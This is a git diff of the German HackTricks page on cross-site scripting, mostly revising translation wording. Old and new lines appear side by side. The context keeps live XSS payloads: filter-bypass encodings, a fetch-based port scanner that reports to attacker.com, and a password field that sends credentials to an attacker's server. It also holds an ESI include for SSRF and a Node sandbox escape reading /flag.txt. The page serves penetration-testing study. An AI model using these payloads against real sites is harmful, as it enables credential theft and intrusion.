Daher, wenn Sie feststellen, dass Ihre Eingabe innerhalb einer JS-Zeichenfolge reflektiert wird, die Backticks verwendet, können Sie die Syntax `${ ... }` missbrauchen, um **beliebigen JS-Code** auszuführen:
|
||||
Daher, wenn Sie feststellen, dass Ihre Eingabe innerhalb einer JS-Zeichenfolge, die Backticks verwendet, **reflektiert** wird, können Sie die Syntax `${ ... }` missbrauchen, um **beliebigen JS-Code** auszuführen:
|
||||
|
||||
Dies kann missbraucht werden durch:
|
||||
```javascript
|
||||
|
@ -506,7 +506,7 @@ loop``````````````
|
|||
```
|
||||
### Unicode Encode JS-Ausführung
|
||||
|
||||
In diesem Angriff wird JavaScript-Code in Unicode-Zeichenfolgen kodiert, um XSS-Filter zu umgehen und bösartigen Code auf der Webseite auszuführen.
|
||||
In diesem Angriff wird JavaScript-Code in Unicode-Zeichenfolgen kodiert, um XSS-Filter zu umgehen.
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
|
@ -558,7 +558,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript Zeilenumbrüche (aus dem Trick für** [**JavaScript Zeilenumbruch**](./#javascript-new-lines))**
|
||||
**JavaScript Zeilenumbrüche (aus dem Trick** [**JavaScript Zeilenumbruch**](./#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
@ -744,7 +744,7 @@ Vergessen Sie auch nicht, dass **am Ende des genannten Beitrags** eine Erklärun
|
|||
|
||||
### Normalisiertes Unicode
|
||||
|
||||
Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder auf der Clientseite) **unicode-normalisiert** werden und diese Funktionalität nutzen, um Schutzmechanismen zu umgehen. [**Hier finden Sie ein Beispiel**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder auf der Clientseite) **in Unicode normalisiert** werden und diese Funktionalität nutzen, um Schutzmechanismen zu umgehen. [**Hier finden Sie ein Beispiel**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL-Flag-Umgehung
|
||||
```javascript
|
||||
|
@ -752,7 +752,7 @@ Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder a
|
|||
```
|
||||
### Ruby-On-Rails Umgehung
|
||||
|
||||
Aufgrund der **RoR Massenzuweisung** werden Anführungszeichen in das HTML eingefügt und dann wird die Anführungszeichenbeschränkung umgangen und zusätzliche Felder (onfocus) können innerhalb des Tags hinzugefügt werden.\
|
||||
Aufgrund von **RoR Massenzuweisung** werden Anführungszeichen in das HTML eingefügt und dann wird die Anführungszeichenbeschränkung umgangen und zusätzliche Felder (onfocus) können innerhalb des Tags hinzugefügt werden.\
|
||||
Formularbeispiel ([aus diesem Bericht](https://hackerone.com/reports/709336)), wenn Sie das Payload senden:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
|
@ -793,13 +793,14 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS mit Header-Injection in einer 302-Antwort
|
||||
|
||||
Wenn Sie feststellen, dass Sie **Header in einer 302-Weiterleitungsantwort injizieren können**, könnten Sie versuchen, den Browser dazu zu bringen, beliebigen JavaScript-Code auszuführen. Dies ist **nicht trivial**, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Antwortstatuscode 302 ist. Daher ist nur ein Cross-Site-Scripting-Payload nutzlos.
|
||||
Wenn Sie feststellen, dass Sie **Header in einer 302-Weiterleitungsantwort injizieren können**, könnten Sie versuchen, den Browser dazu zu bringen, **beliebigen JavaScript-Code auszuführen**. Dies ist **nicht trivial**, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Antwortstatuscode 302 ist. Daher ist nur ein Cross-Site-Scripting-Payload nutzlos.
|
||||
|
||||
In [**diesem Bericht**](https://www.gremwell.com/firefox-xss-302) und [**diesem hier**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) können Sie nachlesen, wie Sie verschiedene Protokolle im Location-Header testen können, um zu sehen, ob der Browser den XSS-Payload im Körper inspizieren und ausführen kann. Bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leerer Location-Header_, `resource://`.
|
||||
In [**diesem Bericht**](https://www.gremwell.com/firefox-xss-302) und [**diesem hier**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) können Sie nachlesen, wie Sie verschiedene Protokolle im Location-Header testen und prüfen können, ob einer von ihnen es dem Browser ermöglicht, den XSS-Payload im Body zu inspizieren und auszuführen.\
|
||||
Bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leerer Location-Header_, `resource://`.
|
||||
|
||||
### Nur Buchstaben, Zahlen und Punkte
|
||||
|
||||
Wenn Sie den **Callback** angeben können, den JavaScript ausführen wird, begrenzt auf diese Zeichen. [**Lesen Sie diesen Abschnitt dieses Beitrags**](./#javascript-function), um herauszufinden, wie Sie dieses Verhalten missbrauchen können.
|
||||
Wenn Sie den **Callback** angeben können, den JavaScript **ausführen** wird, beschränkt auf diese Zeichen. [**Lesen Sie diesen Abschnitt dieses Beitrags**](./#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können.
|
||||
|
||||
### Gültige `<script>` Content-Types für XSS
|
||||
|
||||
|
@ -807,7 +808,7 @@ Wenn Sie den **Callback** angeben können, den JavaScript ausführen wird, begre
|
|||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
Die einzigen **Content-Types**, die Chrome unterstützen, um ein **geladenes Skript** auszuführen, sind diejenigen, die sich im const **`kSupportedJavascriptTypes`** von [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) befinden.
|
||||
Die einzigen **Content-Types**, die Chrome unterstützen, um ein **geladenes Skript** auszuführen, sind diejenigen, die im const **`kSupportedJavascriptTypes`** von [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) aufgeführt sind.
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -838,7 +839,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
Die Antwort ist:
|
||||
|
||||
* **Modul** (Standard, nichts zu erklären)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web-Bundles ist eine Funktion, mit der Sie eine Vielzahl von Daten (HTML, CSS, JS usw.) in einer **`.wbn`**-Datei bündeln können.
|
||||
* [**Webbundle**](https://web.dev/web-bundles/): Web-Bundles sind eine Funktion, mit der Sie eine Vielzahl von Daten (HTML, CSS, JS usw.) in einer **`.wbn`**-Datei bündeln können.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
|
@ -867,7 +868,7 @@ import { partition } from "lodash";
|
|||
```
|
||||
Dieses Verhalten wurde in [**diesem Writeup**](https://github.com/zwade/yaca/tree/master/solution) verwendet, um eine Bibliothek auf eval umzumappen, um sie zu missbrauchen und XSS auszulösen.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Diese Funktion dient hauptsächlich zur Lösung einiger Probleme, die durch das Vorabrendern verursacht werden. Es funktioniert folgendermaßen:
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Diese Funktion dient hauptsächlich zur Lösung einiger Probleme, die durch das Vorabrendern verursacht werden. Es funktioniert wie folgt:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -910,7 +911,7 @@ Wenn die Seite einen text/xml-Inhaltstyp zurückgibt, ist es möglich, einen Nam
|
|||
```
|
||||
### Spezielle Ersetzungsmuster
|
||||
|
||||
Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**spezielle Zeichenkettenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) verwenden, um einige Schutzmechanismen zu umgehen: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**spezielle Zeichenkettenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) verwenden, um zu versuchen, einige Schutzmechanismen zu umgehen: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Zum Beispiel wurde in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) dies verwendet, um eine JSON-Zeichenkette innerhalb eines Skripts zu **entkommen** und beliebigen Code auszuführen.
|
||||
|
||||
|
@ -953,7 +954,7 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Wenn **alles undefiniert ist** bevor nicht vertrauenswürdiger Code ausgeführt wird (wie in [**diesem Bericht**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu erzeugen, um die Ausführung beliebigen nicht vertrauenswürdigen Codes zu missbrauchen:
|
||||
Wenn **alles undefiniert ist** bevor nicht vertrauenswürdiger Code ausgeführt wird (wie in [**diesem Bericht**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu generieren, um die Ausführung beliebigen nicht vertrauenswürdigen Codes zu missbrauchen:
|
||||
|
||||
* Mit import()
|
||||
```javascript
|
||||
|
@ -962,13 +963,13 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
```
|
||||
* Zugriff auf `require` indirekt
|
||||
|
||||
[Gemäß dieser Quelle](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js in eine Funktion eingewickelt, wie folgt:
|
||||
[Gemäß dieser Quelle](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js in einer Funktion umschlossen, wie folgt:
|
||||
```javascript
|
||||
(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
});
|
||||
```
|
||||
Daher ist es möglich, wenn wir aus diesem Modul eine andere Funktion aufrufen können, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen:
|
||||
Daher, wenn wir aus diesem Modul eine andere Funktion aufrufen können, ist es möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -976,7 +977,7 @@ Daher ist es möglich, wenn wir aus diesem Modul eine andere Funktion aufrufen k
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Auf ähnliche Weise wie im vorherigen Beispiel ist es möglich, **Fehlerbehandlungen zu verwenden**, um auf den **Wrapper** des Moduls zuzugreifen und die **`require`** Funktion zu erhalten:
|
||||
Auf ähnliche Weise wie im vorherigen Beispiel ist es möglich, **Fehlerbehandler zu verwenden**, um auf den **Wrapper** des Moduls zuzugreifen und die **`require`**-Funktion zu erhalten:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1021,7 +1022,7 @@ trigger()
|
|||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
* [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
* Fortgeschrittenes JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||||
* Mehr ausgefeiltes JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||||
* [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
|
||||
* [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
|
||||
* [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
|
||||
|
@ -1097,7 +1098,7 @@ xhr.send(null);
|
|||
```
|
||||
### Interne IPs finden
|
||||
|
||||
Um interne IPs zu finden, können Sie XSS (Cross-Site-Scripting) verwenden, um JavaScript-Code in die Webanwendung einzufügen, der die Benutzer dazu bringt, ihre IP-Adresse an einen von Ihnen kontrollierten Server zu senden. Dies kann Ihnen helfen, interne IPs von Benutzern zu identifizieren, die von der Webanwendung aus aufgerufen werden.
|
||||
Um interne IPs zu finden, können Sie XSS-Angriffe nutzen, um Skripte in Webanwendungen einzuschleusen, die die IP-Adressen von internen Systemen preisgeben. Dies kann durch das Ausnutzen von Schwachstellen in der Webanwendung erreicht werden, um Informationen wie interne IPs abzurufen.
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
|
@ -1145,26 +1146,11 @@ q.shift()();
|
|||
```
|
||||
### Port Scanner (fetch)
|
||||
|
||||
#### Beschreibung
|
||||
|
||||
Der Port-Scanner (fetch) ist ein einfaches Tool, das mithilfe von JavaScript Ports auf einem Server scannen kann. Es nutzt die Fetch-API, um Anfragen an verschiedene Ports zu senden und auf die Antwort zu warten. Dieses Tool kann für das Auffinden offener Ports und potenzieller Sicherheitslücken auf einem Server verwendet werden.
|
||||
|
||||
#### Verwendung
|
||||
|
||||
1. Öffnen Sie die Entwicklertools Ihres Browsers.
|
||||
2. Navigieren Sie zur Konsole.
|
||||
3. Fügen Sie den JavaScript-Code aus der Datei `port-scanner-fetch.js` in die Konsole ein.
|
||||
4. Passen Sie die gewünschten Parameter an (z. B. den Zielserver und den Portbereich).
|
||||
5. Führen Sie den Code aus, um den Port-Scanner zu starten.
|
||||
6. Überprüfen Sie die Konsolenausgabe auf gefundene offene Ports.
|
||||
|
||||
**Hinweis:** Stellen Sie sicher, dass Sie die Erlaubnis haben, den Zielserver zu scannen, da das Scannen von Ports ohne Genehmigung illegal sein kann.
|
||||
### Portscanner (fetch)
|
||||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
### Port Scanner (Websockets)
|
||||
|
||||
### Portscanner (Websockets)
|
||||
```python
|
||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||
for(var i=0; i<ports.length; i++) {
|
||||
|
@ -1179,9 +1165,9 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
};
|
||||
}
|
||||
```
|
||||
_Kurze Zeiten deuten auf einen antwortenden Port hin._ _Längere Zeiten deuten auf keine Antwort hin._
|
||||
_Kurze Zeiten deuten auf einen antwortenden Port hin_ _Längere Zeiten deuten auf keine Antwort hin._
|
||||
|
||||
Überprüfen Sie die Liste der in Chrome verbotenen Ports [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) und in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Überprüfen Sie die Liste der in Chrome gesperrten Ports [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) und in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Feld zur Eingabe von Anmeldeinformationen
|
||||
```markup
|
||||
|
@ -1198,11 +1184,11 @@ mode: 'no-cors',
|
|||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Wenn Daten in das Passwortfeld eingegeben werden, werden der Benutzername und das Passwort an den Server des Angreifers gesendet, auch wenn der Client ein gespeichertes Passwort auswählt und nichts eingibt, werden die Anmeldeinformationen exfiltriert.
|
||||
Wenn Daten im Passwortfeld eingegeben werden, werden der Benutzername und das Passwort an den Server des Angreifers gesendet, auch wenn der Client ein gespeichertes Passwort auswählt und nichts eingibt, werden die Anmeldeinformationen exfiltriert.
|
||||
|
||||
### Keylogger
|
||||
|
||||
Nur durch die Suche auf Github habe ich ein paar verschiedene gefunden:
|
||||
Beim Durchsuchen von Github habe ich ein paar verschiedene gefunden:
|
||||
|
||||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
|
@ -1292,7 +1278,7 @@ Sie können auch verwenden: [https://xsshunter.com/](https://xsshunter.com)
|
|||
```
|
||||
### Regex - Zugriff auf versteckte Inhalte
|
||||
|
||||
Aus [**diesem Bericht**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) lässt sich lernen, dass auch wenn einige Werte aus JS verschwinden, sie immer noch in JS-Attributen in verschiedenen Objekten gefunden werden können. Zum Beispiel ist es immer noch möglich, den Wert eines REGEX-Eingabefelds zu finden, nachdem der Wert des Eingabefelds des REGEX entfernt wurde:
|
||||
Aus [**diesem Bericht**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) kann man lernen, dass auch wenn einige Werte aus JS verschwinden, sie immer noch in JS-Attributen in verschiedenen Objekten gefunden werden können. Zum Beispiel ist es immer noch möglich, den Wert eines REGEX-Eingabefelds zu finden, nachdem der Wert des Eingabefelds des REGEX entfernt wurde:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1311,11 +1297,11 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
|
||||
## XSS Ausnutzen anderer Schwachstellen
|
||||
## XSS Ausnutzung anderer Schwachstellen
|
||||
|
||||
### XSS in Markdown
|
||||
|
||||
Kann Markdown-Code einschleusen, der gerendert wird? Vielleicht kannst du XSS erhalten! Überprüfe:
|
||||
Kann Markdown-Code eingefügt werden, der gerendert wird? Vielleicht kannst du XSS erhalten! Überprüfe:
|
||||
|
||||
{% content-ref url="xss-in-markdown.md" %}
|
||||
[xss-in-markdown.md](xss-in-markdown.md)
|
||||
|
@ -1323,17 +1309,17 @@ Kann Markdown-Code einschleusen, der gerendert wird? Vielleicht kannst du XSS er
|
|||
|
||||
### XSS zu SSRF
|
||||
|
||||
Hast du XSS auf einer **Website, die Caching verwendet**? Versuche, **dies auf SSRF zu aktualisieren** durch Edge Side Include Injection mit diesem Payload:
|
||||
Hast du XSS auf einer **Website, die Caching verwendet**? Versuche, **dies zu SSRF aufzuwerten** durch Edge Side Include Injection mit diesem Payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Verwenden Sie es, um Cookie-Beschränkungen, XSS-Filter und vieles mehr zu umgehen!\
|
||||
Weitere Informationen zu dieser Technik finden Sie hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS in dynamisch erstellten PDF
|
||||
### XSS in dynamisch erstelltem PDF
|
||||
|
||||
Wenn eine Webseite ein PDF unter Verwendung von benutzerkontrollierten Eingaben erstellt, können Sie versuchen, den **Bot zu täuschen**, der das PDF erstellt, um **beliebigen JS-Code auszuführen**.\
|
||||
Wenn der **PDF-Ersteller-Bot** also **HTML-Tags** findet, wird er sie **interpretieren**, und Sie können dieses Verhalten **missbrauchen**, um einen **Server-XSS** zu verursachen.
|
||||
Wenn eine Webseite ein PDF unter Verwendung von benutzerkontrollierten Eingaben erstellt, können Sie versuchen, den Bot, der das PDF erstellt, dazu zu bringen, beliebigen JS-Code auszuführen.\
|
||||
Wenn der **PDF-Erstellungsbot** also **HTML-Tags** findet, wird er sie **interpretieren**, und Sie können dieses Verhalten **missbrauchen**, um einen **Server-XSS** zu verursachen.
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
|
@ -1427,15 +1413,15 @@ Finde **mehr SVG-Payloads unter** [**https://github.com/allanlw/svg-cheatsheet**
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn du an einer **Karriere im Hacking** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn du an einer **Hackerkarriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lerne AWS-Hacking von Null zum Profi mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lerne AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
|
|